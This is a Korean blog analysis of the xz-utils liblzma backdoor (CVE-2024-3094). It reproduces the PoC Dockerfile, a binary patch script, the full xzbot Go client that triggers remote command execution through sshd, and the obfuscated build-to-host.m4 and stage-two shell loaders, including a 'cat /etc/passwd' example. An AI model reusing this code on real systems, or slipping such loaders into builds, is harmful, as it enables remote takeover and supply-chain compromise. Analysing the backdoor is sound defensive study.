반응형
Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

ZZoMb1E

[CVE] liblzma.so (CVE-2024-3094) 본문

STUDY/CVE && Fuzzing

[CVE] liblzma.so (CVE-2024-3094)

ZZoMb1E 2024. 10. 10. 10:32
728x90
반응형

※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다. 

※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다.

CVE-2024-6387에 대해서도 분석을 시도 했지만 실패했네요.. 혹시 관련하여 분석해보신 분 조언 부탁드립니다...

liblzma.so.5.6.1
0.98MB

악성 백도어가 설치된 liblzma 라이브러리 파일

 

1. 분석대상


XZ-Utils

  • LZMA 알고리즘을 활용한 무손실 압축 프로그램으로 Ubuntu, Debian, Windows를 포함한 운영체제에 지원을 한다.

 

SSH-Server

  • SSH 서비스를 활용하는 서버 환경으로, 본 글에서는 Debian 운영체제의 SSH-Server를 다루겠다.

 

liblzma 라이브러리

  • XZ-Utils를 포함한 압축 해제를 지원하며 높은 효율을 보여주는 압축 라이브러리이다.

 

2. CVE Code


CVE-2024-3094

liblzma 라이브러리에서 발생하는 취약점으로, git 저장소가 아닌 다운로드 패키지에서 취약점이 발생하게 된다. 

(liblzma 5.6.0 ~ 5.6.1) 에서 취약점이 발생하며 XZ-Utils 설치과정에서 백도어가 liblzma 라이브러리에 설치된다.

 

CWE-506

  • 악의적인 기능을 수행하는 코들르 포함하고 있는 취약점으로 백도어, 트로이 목마 등이 포함된다.

 

 

3. CVE 관련 정보

 

CVSS가 10.0에 해당하는 높은 듣급의 취약점이다.

취약점 분석을 위해 아래 레퍼런스 들을 참고했다.

https://github.com/rezigned/xz-backdoor?tab=readme-ov-file


 

 

4. 분석  환경 및 구현


Debian 환경과 XZ-Utils 5.6.1 버젼에서 분석을 진행했다.

 

Dockerfile

ARG BUILD_IMAGE=alpine:3.19.1
ARG PATCH_IMAGE=python:3.12.2-slim-bookworm
ARG CLIENT_IMAGE=golang:1.22.1-alpine3.19
ARG FINAL_IMAGE=debian:12.5-slim
ARG PLATFORM_OS=linux
ARG PLATFORM_ARCH=amd64
ARG PLATFORM=$PLATFORM_OS/$PLATFORM_ARCH
ARG PLATFORM_CPU_ARCH=x86_64
ARG XZ_VERSION=5.6.1
ARG XZ_SO=liblzma.so
ARG XZ_LIB=$XZ_SO.$XZ_VERSION
ARG XZ_DEB=liblzma5_${XZ_VERSION}_${PLATFORM_ARCH}.deb
ARG XZ_BOT_REV=0cabe4c
FROM $BUILD_IMAGE as build
WORKDIR /build
RUN apk add --no-cache git \
    && git clone https://github.com/amlweems/xzbot.git . \
    && git checkout $XZ_BOT_REV
FROM $PATCH_IMAGE as build-patch
ARG PLATFORM_OS
ARG XZ_LIB
WORKDIR /build
COPY --from=build /build/patch.py /build/assets/$XZ_LIB .
RUN ARCH=$(uname -m | tr '_' '-'); \
    apt-get update && apt-get install -y --no-install-recommends --no-install-suggests \
    binutils-$ARCH-$PLATFORM_OS-gnu \
    cpp \
    && pip install pwntools \
    && python3 patch.py $XZ_LIB
FROM $CLIENT_IMAGE as build-ssh-client
ARG PLATFORM_OS
ARG PLATFORM_ARCH
WORKDIR /build
COPY --from=build /build/go.* /build/main.go .
RUN CGO_ENABLED=0 GOOS=${PLATFORM_OS} GOARCH=${PLATFORM_ARCH} go build
FROM $FINAL_IMAGE as final
ARG XZ_LIB
ARG XZ_DEB
ARG PLATFORM_CPU_ARCH
ARG PLATFORM_OS
WORKDIR /build
COPY debs/$XZ_DEB .
COPY --from=build-patch /build/$XZ_LIB.patch .
COPY --from=build-ssh-client /build/xzbot .
RUN apt-get update && apt-get install -y --no-install-recommends --no-install-suggests \
    openssh-server \
    && rm -rf /var/lib/apt/lists/*
RUN dpkg -i ./$XZ_DEB \
    && cp $XZ_LIB.patch /lib/$PLATFORM_CPU_ARCH-$PLATFORM_OS-gnu/$XZ_LIB \
    && sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config \
    && mkdir -p /var/run/sshd
CMD ["env", "-i", "LANG=en_US.UTF-8", "/usr/sbin/sshd", "-D"]

PoC에서 제공해준 Dockerfile로 다음과 같은 기능들을 제공한다.

  • git 저장소에서 다른 PoC인 xzbot을 설치
  • xzbot 안에 위치한 patch.py를 통해 liblzma 라이브러리 파일을 패치
  • go 언어로 작성되어 있는 PoC 코드를 빌드

Docker build

docker run -it -d\
	—name xz-backdoor \
    --platform linux/amd64 \ 
    rezigned/xz-backdoor:latest

위 명령을 통해 Dockerfile을 빌드한다.

 

이후 백도어가 설치되는 과정을 분석하기 위해 취약한 버젼의 XZ-Utils를 설치한다.

(PoC 에서는 제공되는 patch.py를 통해 인위적으로 liblzma 파일을 백도어의 기능이 하도록 패치를 한다.)

 

https://salsa.debian.org/debian/xz-utils/-/tree/46cb28adbbfb8f50a10704c1b86f107d077878e6

 

Files · 46cb28adbbfb8f50a10704c1b86f107d077878e6 · Debian / Xz Utils · GitLab

Debian Salsa Gitlab

salsa.debian.org

취약한 버젼의 XZ-Utils 패키지를 다운받기 위한 저장소이다.

 

./configure
make
make install
이 명령으로 빌드를 해주면 되는데 make 전에 Makefile의 strip 옵션인 -s를 -g 옵션으로 수정해주도록 하겠다.


수정 후 build를 수행하게 되면 아래 그림처럼 코드와 함께 디버깅이 가능해진다.

 

 

5. 취약점 개요 및 타임라인


  누구나 개발에 참여하고 문제를 해결할 수 있는 오픈소스 프로젝트에서 취약점이 발생했다. 악성 백도어를 패치하여 배포한 인물은 Jia Tan으로 2021년부터 준비를 진행했다. 2021년 XZ-Utils의 오픈소스 프로젝트에 참여하여 각종 패치들에 대한 부분들과 잘못된 혹은 타인의 데이터를 자신의 이름으로 상급자에게 보고하며 높은 신뢰를 오랜기간동안 쌓아왔다. 이후 관리자는 Jia Tan에게 패치된 버젼에서의 commit 할 수 있는 권한을 가지게 되었다.

https://git.tukaani.org/?p=xz.git;a=search;h=4323bc3e0c1e1d2037d5e670a3bf6633e8a3031e;s=Jia+Tan;st=author

장기간을 걸쳐 지속적으로 commit 패치를 진행했다. 마지막인 2024년 02월 15일에는 build-to-host.m4에 대한 .gitignore설정까지 진행했다.

 

 

  2024년에 발견된 Jia Tan의 백도어는 tests/files/에 백도어 바이너리 코드를 숨겨둔 상태로 올라왔다. 이때 ./configure 과정에서 실행되는 호환성 검사 매크로인 build-to-host.m4도 같이 패치가 되었다. 해당 취약점은 개발자 중 한명이 liblzma 라이브러리의 cpu 점유율이 평상시보다 높은 것을 확인하여 분석한 결과 탐지되게 되었다.

  • [악성 파일 1] bad-3-corrupt_lzma2.xz
  • [악성 파일 2] good-larget_compressed.lzma

 

  자세한 타임라인은 아래 링크를 확인하면 된다.

https://news.hada.io/topic?id=14122

 

xz 오픈소스 공격의 전체 타임라인 정리 | GeekNews

2년 넘게 "Jia Tan"이라는 이름을 사용하는 공격자가 xz 압축 라이브러리에 성실하고 효과적인 기여자로 활동하여 최종적으로 커밋 권한과 관리자 권한을 부여받음.그 권한을 사용하여 Debian, Ubuntu,

news.hada.io

 

 

  백도어 취약점이지만 공격이 이루어진 방식은 공급망 공격에 해당이 된다. 공급망 공격은 공격자가 기업의 소프트웨어의 설치나 업데이트 과정에 침입하여 악성 소프트웨어가 정상 소프트웨어 대신 설치 및 동작하도록 하게 하는 방식으로, 공격자는 백도어와 함께 활용하여 RCE 까지 가능하다.

 

[이미지 출처 : https://ohs-o.tistory.com/104]

 

 

 

 

6. PoC 분석


  분석을 진행하기 전에 PoC를 먼저 살펴보도록 하겠다.  앞에서 한번 언급했듯이 CVE-2024-3094에 대한 PoC는 XZ-Utils가 설치되면서 백도어가 설치되는 것이 아닌 작성된 patch.py를 통해 liblzma.so의 정상 함수가 백도어 기능에 포함되도록 악성 함수로 패치를 수행하는 것이다. 이 작업은 XZ-Utils에 의해 설치되는 백도어에서 일부 기능을 대신하는 것이며 해당 함수를 제외한 부분들은 xzbot이라는 go 언어로 작성된 PoC에서 처리를 해주고 있다.

 

[patch.py]

#!/usr/bin/env python3
import os, sys
path = sys.argv[1]
if not os.path.exists(path):
  print("usage: patch.py <path>")
  sys.exit(1)
from pwn import *
context.update(arch='amd64', os='linux')
func = unhex('f30f1efa4885ff0f848e000000415455'
flen = 160
p = asm('''
'534889f34881eca00000004885f67504'
'31c0eb6b4c8b4e084d85c974f34889e2'
'31c0488d6c24304989fcb90c00000048'
'89d74989e8be30000000f3abb91c0000'
'004889eff3ab488d4c24204889d7')
  push rsi
  lea rsi,[rip+72]
  mov rax, [rsi+0x00]
  mov [rdi+0x00], rax
  mov rax, [rsi+0x08]
  mov [rdi+0x08], rax
  mov rax, [rsi+0x10]
  mov [rdi+0x10], rax
  mov rax, [rsi+0x18]
  mov [rdi+0x18], rax
  mov rax, [rsi+0x20]
  mov [rdi+0x20], rax
  mov rax, [rsi+0x28]
  mov [rdi+0x28], rax
  mov rax, [rsi+0x30]
  mov [rdi+0x30], rax
  mov rax, [rsi+0x38]
  mov [rdi+0x38], rax
  mov eax, 1
  pop rsi
  ret
  nop
  nop
  nop
''')
p += unhex('5b3afe03878a49b28232d4f1a442aebd'
           'e109f807acef7dfd9a7f65b962fe52d6'
           '547312cacecff04337508f9d2529a8f1'
           '669169b21c32c48000')
p += b'\x00' * (flen - len(p))
with open(path, 'rb') as f:
  lzma = f.read()
if func not in lzma:
  print('Could not identify func')
  sys.exit(1)
off = lzma.index(func)
print('Patching func at offset: ' + hex(off))
with open(path+'.patch', 'wb') as f:
  f.write(lzma[:off]+p+lzma[off+flen:])
print('Generated patched so: ' + path+'.patch')

매개변수로 liblzma.so의 경로를 받아온다. 이후 func에 정의된 바이트가 라이브러리에 포함이 되어 있는지를 확인한다.

func = unhex('f30f1efa4885ff0f848e000000415455'
	'534889f34881eca00000004885f67504'
	'31c0eb6b4c8b4e084d85c974f34889e2'
	'31c0488d6c24304989fcb90c00000048'
	'89d74989e8be30000000f3abb91c0000'
	'004889eff3ab488d4c24204889d7')

실제로 해당 바이트 코드에 해당하는 명령줄이 liblzma 라이브러리에 존재하는 것을 볼 수 있다.

 

이때 바뀌는 코드의 전/후를 확인해보면 다음과 같다.

[패치 전 코드]

_BOOL8 __fastcall sub_24470(__int64 a1, __int64 a2)
{
  __int64 v4; // rcx
  _DWORD *v5; // rdi
  __int64 v6; // rcx
  char *v7; // rdi
  _BYTE v8[32]; // [rsp-20h] [rbp-B8h] BYREF
  char v9[16]; // [rsp+0h] [rbp-98h] BYREF
  char v10[32]; // [rsp+10h] [rbp-88h] BYREF
  char v11[104]; // [rsp+30h] [rbp-68h] BYREF
  if ( !a1 )
    return 0LL;
if ( a2 )
  {
    if ( *(_QWORD *)(a2 + 8) )
    {
      v4 = 12LL;
      v5 = v8;
      while ( v4 )
      {
*v5++ = 0;
--v4; }
      v6 = 28LL;
      v7 = v10;
      while ( v6 )
      {
        *(_DWORD *)v7 = 0;
        v7 += 4;
        --v6;
      }
      if ( (unsigned int)sub_12440(v8, 48LL, v8, v9, v10) )
        return (unsigned int)sub_12440(a2 + 264, 57LL, v10, v11, a1) != 0;
    }
}
return 0LL; }

 

[패치 후 코드]

__int64 __fastcall sub_24470(_QWORD *a1)
{
  *a1 = 0xB2498A8703FE3A5BLL;
  a1[1] = qword_244C0[1];
  a1[2] = qword_244C0[2];
  a1[3] = qword_244C0[3];
  a1[4] = qword_244C0[4];
  a1[5] = qword_244C0[5];
  a1[6] = qword_244C0[6];
  a1[7] = qword_244C0[7];
  return 1LL;
}

  패치 이후에는 공격자의 공개키까지 하드코딩하여 넣어주는 것을 볼 수 있다. 기능적으로 살펴보면 원래 사용자의 키 인증에 대한 서명 검사를 진행해야 하는데 패치 과정을 통해 고정된 값을 가지고 진행하는 것으로 바뀌었다. 이렇게 해버리면 공격의 성공률을 높일 수 있게 된다,

 

[PoC xzbot]

package main

import (
        "bytes"
        "crypto/ecdsa"
        "crypto/ed25519"
        "crypto/elliptic"
        "crypto/rsa"
        "crypto/sha256"
        "encoding/binary"
        "encoding/hex"
        "flag"
        "fmt"
        "io"
        "log"
        "math/big"
        "net"

        "github.com/cloudflare/circl/sign/ed448"
        "golang.org/x/crypto/chacha20"
        "golang.org/x/crypto/ssh"
)

var (
        addr  = flag.String("addr", "127.0.0.1:2222", "ssh server address")
        seedn = flag.String("seed", "0", "ed448 seed, must match xz backdoor key")
        cmd   = flag.String("cmd", "id > /tmp/.xz", "command to run via system()")
)

type xzPublicKey struct {
        buf []byte
}

func (k *xzPublicKey) Type() string {
        return "ssh-rsa"
}

func (k *xzPublicKey) Marshal() []byte {
        e := new(big.Int).SetInt64(int64(1))
        wirekey := struct {
                Name string
                E    *big.Int
                N    []byte
        }{
                ssh.KeyAlgoRSA,
                e,
                k.buf,
        }
        return ssh.Marshal(wirekey)
}

func (k *xzPublicKey) Verify(data []byte, sig *ssh.Signature) error {
        return nil
}

type xzSigner struct {
        signingKey    ed448.PrivateKey
        encryptionKey []byte
        hostkey       []byte
        cert          *ssh.Certificate
}

func (s *xzSigner) PublicKey() ssh.PublicKey {
        if s.cert != nil {
                return s.cert
        }

        // magic cmd byte (system() = 2)
        magic1 := uint32(0x1234)
        magic2 := uint32(0x5678)
        magic3 := uint64(0xfffffffff9d9ffa2)
        magic := uint32(uint64(magic1)*uint64(magic2) + magic3)

        var hdr bytes.Buffer
        binary.Write(&hdr, binary.LittleEndian, uint32(magic1))
        binary.Write(&hdr, binary.LittleEndian, uint32(magic2))
        binary.Write(&hdr, binary.LittleEndian, uint64(magic3))

        cmdlen := uint8(len(*cmd))
        var payload bytes.Buffer
        payload.Write([]byte{0b00000000, 0b00000000, 0, cmdlen, 0})
        payload.Write([]byte(*cmd))
        payload.Write([]byte{0})

        var md bytes.Buffer
        binary.Write(&md, binary.LittleEndian, magic)
        md.Write(payload.Bytes()[:cmdlen+5])
        md.Write(s.hostkey)
        signature := ed448.Sign(s.signingKey, md.Bytes(), "")

        var buf bytes.Buffer
        buf.Write(signature)
        buf.Write(payload.Bytes())
        hdr.Write(decrypt(buf.Bytes(), s.encryptionKey[:32], hdr.Bytes()[:16]))
        if hdr.Len() < 256 {
                hdr.Write(bytes.Repeat([]byte{0}, 256-hdr.Len()))
        }

        n := big.NewInt(1)
        n.Lsh(n, 2048)
        pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: n, E: 0x10001})
        fatalIfErr(err)

        s.cert = &ssh.Certificate{
                CertType: ssh.UserCert,
                SignatureKey: &xzPublicKey{
                        buf: hdr.Bytes(),
                },
                Signature: &ssh.Signature{
                        Format: "ssh-rsa",
                        Blob:   []byte("\x00"),
                },
                Key: pub,
        }
        fmt.Printf("%s", hex.Dump(s.cert.Marshal()))
        return s.cert
}

func (s *xzSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) {
        return nil, nil
}

func (s *xzSigner) HostKeyCallback(_ string, _ net.Addr, key ssh.PublicKey) error {
        h := sha256.New()

        cpk := key.(ssh.CryptoPublicKey).CryptoPublicKey()
        switch pub := cpk.(type) {
        case *rsa.PublicKey:
                w := struct {
                        E *big.Int
                        N *big.Int
                }{
                        big.NewInt(int64(pub.E)),
                        pub.N,
                }
                h.Write(ssh.Marshal(&w))
        case *ecdsa.PublicKey:
                keyBytes := elliptic.Marshal(pub.Curve, pub.X, pub.Y)
                w := struct {
                        Key []byte
                }{
                        []byte(keyBytes),
                }
                h.Write(ssh.Marshal(&w))
        case ed25519.PublicKey:
                w := struct {
                        KeyBytes []byte
                }{
                        []byte(pub),
                }
                h.Write(ssh.Marshal(&w))
        default:
                log.Fatalf("unsupported hostkey alg: %s\n", key.Type())
                return nil
        }
        msg := h.Sum(nil)
        s.hostkey = msg[:32]

        return nil
}

func decrypt(src, key, iv []byte) []byte {
        dst := make([]byte, len(src))
        c, err := chacha20.NewUnauthenticatedCipher(key, iv[4:16])
        fatalIfErr(err)
        c.SetCounter(binary.LittleEndian.Uint32(iv[:4]))
        c.XORKeyStream(dst, src)
        return dst
}

func fatalIfErr(err error) {
        if err != nil {
                log.Fatal(err)
        }
}

func main() {
        flag.Parse()

        if len(*cmd) > 64 {
                fmt.Printf("cmd too long, should not exceed 64 characters\n")
                return
        }

        var seed [ed448.SeedSize]byte
        sb, ok := new(big.Int).SetString(*seedn, 10)
        if !ok {
                fmt.Printf("invalid seed int\n")
                return
        }
        sb.FillBytes(seed[:])

        signingKey := ed448.NewKeyFromSeed(seed[:])
        xz := &xzSigner{
                signingKey:    signingKey,
                encryptionKey: signingKey[ed448.SeedSize:],
        }
        config := &ssh.ClientConfig{
                User: "root",
                Auth: []ssh.AuthMethod{
                        ssh.PublicKeys(xz),
                },
                HostKeyCallback: xz.HostKeyCallback,
        }
        client, err := ssh.Dial("tcp", *addr, config)
        if err != nil {
                fatalIfErr(err)
        }
        defer client.Close()
}

 

var (
        addr  = flag.String("addr", "127.0.0.1:2222", "ssh server address")
        seedn = flag.String("seed", "0", "ed448 seed, must match xz backdoor key")
        cmd   = flag.String("cmd", "id > /tmp/.xz", "command to run via system()")
)

접속하고자 하는 IP, Port와 사용할 명령을 지정해준다. 기본 값으로는 id > /tmp/.xz가 설정되어 있다.

 

func (s *xzSigner) HostKeyCallback(_ string, _ net.Addr, key ssh.PublicKey) error {
        h := sha256.New()

        cpk := key.(ssh.CryptoPublicKey).CryptoPublicKey()
        switch pub := cpk.(type) {
        case *rsa.PublicKey:
                w := struct {
                        E *big.Int
                        N *big.Int
                }{
                        big.NewInt(int64(pub.E)),
                        pub.N,
                }
                h.Write(ssh.Marshal(&w))
        case *ecdsa.PublicKey:
                keyBytes := elliptic.Marshal(pub.Curve, pub.X, pub.Y)
                w := struct {
                        Key []byte
                }{
                        []byte(keyBytes),
                }
                h.Write(ssh.Marshal(&w))
        case ed25519.PublicKey:
                w := struct {
                        KeyBytes []byte
                }{
                        []byte(pub),
                }
                h.Write(ssh.Marshal(&w))
        default:
                log.Fatalf("unsupported hostkey alg: %s\n", key.Type())
                return nil
        }
        msg := h.Sum(nil)
        s.hostkey = msg[:32]

        return nil
}

  백도어 동작에 핵심이 되는 부분인 위의 코드 부분이다. 뒤에서 다루겠지만 XZ-Utils가 설치되면서 백도어에서 hooking을 진행하는 함수가 설치되게 된다. 이 과정을 동일하게 진행해주는 코드 부분으로 RSA_Public_decrypt()를 포함한 인증 함수들에 대한 hooking 과정이 이루어지게 된다.

 

func decrypt(src, key, iv []byte) []byte {
        dst := make([]byte, len(src))
        c, err := chacha20.NewUnauthenticatedCipher(key, iv[4:16])
        fatalIfErr(err)
        c.SetCounter(binary.LittleEndian.Uint32(iv[:4]))
        c.XORKeyStream(dst, src)
        return dst
}

  Ed448이라는 키 인증 방식을 사용하는데 이를 복호화 하기 위해 chacha20 알고리즘을 사용하고 있다. 이 외의 코드 부분은 패킷, 인증서, 공개키 구조를 조정해주는 부분들이다. Ed448 공개키는 타원 곡선 디지털 서명 알고리즘의 변형버젼으로 주로 서명 검증에 사용된다. RSA나 기존 타원 곡선 알고리즘인 ECDSA보다 빠르고 짧은 키를 사용할 수 있다는 장점이 있다. chacha20 알고리즘은 주로 shift, xor 연산으로 이루어진 알고리즘 방식이다.

 

본 게시글에서는 PoC의 동작 방식이 아닌 XZ-Utils 설치과정에서 어떤 절차로 백도어가 설치되는지, 그리고 어떤 동작을 하는지에 살펴볼 것이기 때문에 PoC에 대한 상세 분석은 작성하지 않겠다.

 

[PoC 실습]

  빌드한 Docker를 보면 go언어로 제작된 xzbot이 빌드되어 있다. 이를 실행하게 되면 이전에 살펴보았던 명령인 [ id > /tmp/.xz]가 실행된다. 위 과정은 xzbot을 통해 해당 명령을 실행하고 /tmp/.xz 파일을 읽음으로 검증하는 과정이다.

 

만약 저 id 명령을 cat /etc/passwd로 수정을 하게 되면 어떻게 될까?

/etc/passwd의 파일이 그대로 저장이 되고 읽어지는 것을 볼 수 있다. 공격자는 이런 방식으로 각종 명령을 통해 정보 수집 혹은 리버스 셸을 시도할 수 있기 때문에 CVSS가 10.0인 위험한 점수를 받게 된 것이다.

 

코드 수정 후 build를 하고 싶다면 아래 명령을 실행하면 된다.

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o xzbot

 

 

 

 

 

 

7. 백도어 설치 과정


  앞에서 한번 언급했듯이 백도어 스크립트의 시작은 ./configure 명령을 실행할 때 호환성 검사를 진행하는 매크로인 build-to-host.m4이다. 코드가 길고 전체 코드를 살펴볼 필요가 없기 때문에 [접은글]에 전체 코드를 넣어 두겠다.

더보기
# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
dnl with or without modifications, as long as this notice is preserved.

dnl Written by Bruno Haible.

dnl When the build environment ($build_os) is different from the target runtime
dnl environment ($host_os), file names may need to be converted from the build
dnl environment syntax to the target runtime environment syntax. This is
dnl because the Makefiles are executed (mostly) by build environment tools and
dnl therefore expect file names in build environment syntax, whereas the runtime
dnl expects file names in target runtime environment syntax.
dnl
dnl For example, if $build_os = cygwin and $host_os = mingw32, filenames need
dnl be converted from Cygwin syntax to native Windows syntax:
dnl   /cygdrive/c/foo/bar -> C:\foo\bar
dnl   /usr/local/share    -> C:\cygwin64\usr\local\share
dnl
dnl gl_BUILD_TO_HOST([somedir])
dnl This macro takes as input an AC_SUBSTed variable 'somedir', which must
dnl already have its final value assigned, and produces two additional
dnl AC_SUBSTed variables 'somedir_c' and 'somedir_c_make', that designate the
dnl same file name value, just in different syntax:
dnl   - somedir_c       is the file name in target runtime environment syntax,
dnl                     as a C string (starting and ending with a double-quote,
dnl                     and with escaped backslashes and double-quotes in
dnl                     between).
dnl   - somedir_c_make  is the same thing, escaped for use in a Makefile.

AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([AC_CANONICAL_BUILD])
  AC_REQUIRE([AC_CANONICAL_HOST])
  AC_REQUIRE([gl_BUILD_TO_HOST_INIT])

  dnl Define somedir_c.
  gl_final_[$1]="$[$1]"
  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
  dnl Translate it from build syntax to host syntax.
  case "$build_os" in
    cygwin*)
      case "$host_os" in
        mingw* | windows*)
          gl_final_[$1]=`cygpath -w "$gl_final_[$1]"` ;;
      esac
      ;;
  esac
  dnl Convert it to C string syntax.
  [$1]_c=`printf '%s\n' "$gl_final_[$1]" | sed -e "$gl_sed_double_backslashes" -e "$gl_sed_escape_doublequotes" | tr -d "$gl_tr_cr"`
  [$1]_c='"'"$[$1]_c"'"'
  AC_SUBST([$1_c])

  dnl Define somedir_c_make.
  [$1]_c_make=`printf '%s\n' "$[$1]_c" | sed -e "$gl_sed_escape_for_make_1" -e "$gl_sed_escape_for_make_2" | tr -d "$gl_tr_cr"`
  dnl Use the substituted somedir variable, when possible, so that the user
  dnl may adjust somedir a posteriori when there are no special characters.
  if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
    [$1]_c_make='\"$([$1])\"'
  fi
  if test "x$gl_am_configmake" != "x"; then
    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
  else
    gl_[$1]_config=''
  fi
  _LT_TAGDECL([], [gl_path_map], [2])dnl
  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
  AC_SUBST([$1_c_make])

  dnl If the host conversion code has been placed in $gl_config_gt,
  dnl instead of duplicating it all over again into config.status,
  dnl then we will have config.status run $gl_config_gt later, so it
  dnl needs to know what name is stored there:
  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
])

dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
  dnl Search for Automake-defined pkg* macros, in the order
  dnl listed in the Automake 1.10a+ documentation.
  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
  if test -n "$gl_am_configmake"; then
    HAVE_PKG_CONFIGMAKE=1
  else
    HAVE_PKG_CONFIGMAKE=0
  fi

  gl_sed_double_backslashes='s/\\/\\\\/g'
  gl_sed_escape_doublequotes='s/"/\\"/g'
  gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
  gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnl
  gl_sed_escape_for_make_2='s,\$,\\$$,g'
  dnl Find out how to remove carriage returns from output. Solaris /usr/ucb/tr
  dnl does not understand '\r'.
  case `echo r | tr -d '\r'` in
    '') gl_tr_cr='\015' ;;
    *)  gl_tr_cr='\r' ;;
  esac
])

build-to-host.m4에서  백도어를 위한 악성 동작을 하는 스크립트 코드는 아래의 5줄에 해당한다.

 

gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`

gl_path_map='tr "\t \-_" " \t_\-"'

gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`

gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])

 

이 부분이 어떻게 악성 동작을 하는지 확정 지을 수 있는지는 gl_am_configmake변수 설정에 사용된 grep 명령에서 부터 확인이 가능하다. 해당 명령을 실행하면 공격자가 심어놓은 악성 압축 파일인 bad-3-corrupt-lzma2.xz가 나온다.

이후 tr 명령을 포함한 다른 명령에 의해 문자들이 치환된다.

  • \t ⇒공백 [\x09 ⇒ \x20]
  • 공백 ⇒ \t [\x20 ⇒ \x09]
  • -[\x2d] ⇒ [\x5f]
  • [\x5f] ⇒ -[\x2d]

마지막으로 문자가 치환된 파일을 압축 해제하는 과정을 거치는데 이렇게 되면 다음 동작을 위한 스크립트 코드가 나오게 된다.

sed "r\n"  /build/util/xz-utils-46cb28adbbfb8f50a10704c1b86f107d077878e6/tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d

export 부분부터가 다음 동작을 위한 코드로 동작은 비교적 간단하다. 2번째 악성 파일인 good-large_compressed.lzma에는 악성 liblzma 라이브러리 파일이 들어있는데 이를 추출하기 위해 악성 파일로부터 특정 바이트 부분을 추출하고 압축해제를 진행하는 단계이다.

export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc

 

이때 $srcdir, $top_srcdir을 자신의 작업 경로로 환경변수 설정을 해주고 진행해야 한다.

 

이 명령을 실행하면 긴 코드의 스크립트 코드가 출력된다.

역시 마찬가지로 너무 길기 때문에 [접은 글]에 전체 코드를 작성해두겠다.

더보기
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
eval $zrKcSS
eval `grep ^LD=\'\/ config.status`
eval `grep ^CC=\' config.status`
eval `grep ^GCC=\' config.status`
eval `grep ^srcdir=\' config.status`
eval `grep ^build=\'x86_64 config.status`
eval `grep ^enable_shared=\'yes\' config.status`
eval `grep ^enable_static=\' config.status`
eval `grep ^gl_path_map=\' config.status`
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
eval $zrKccj
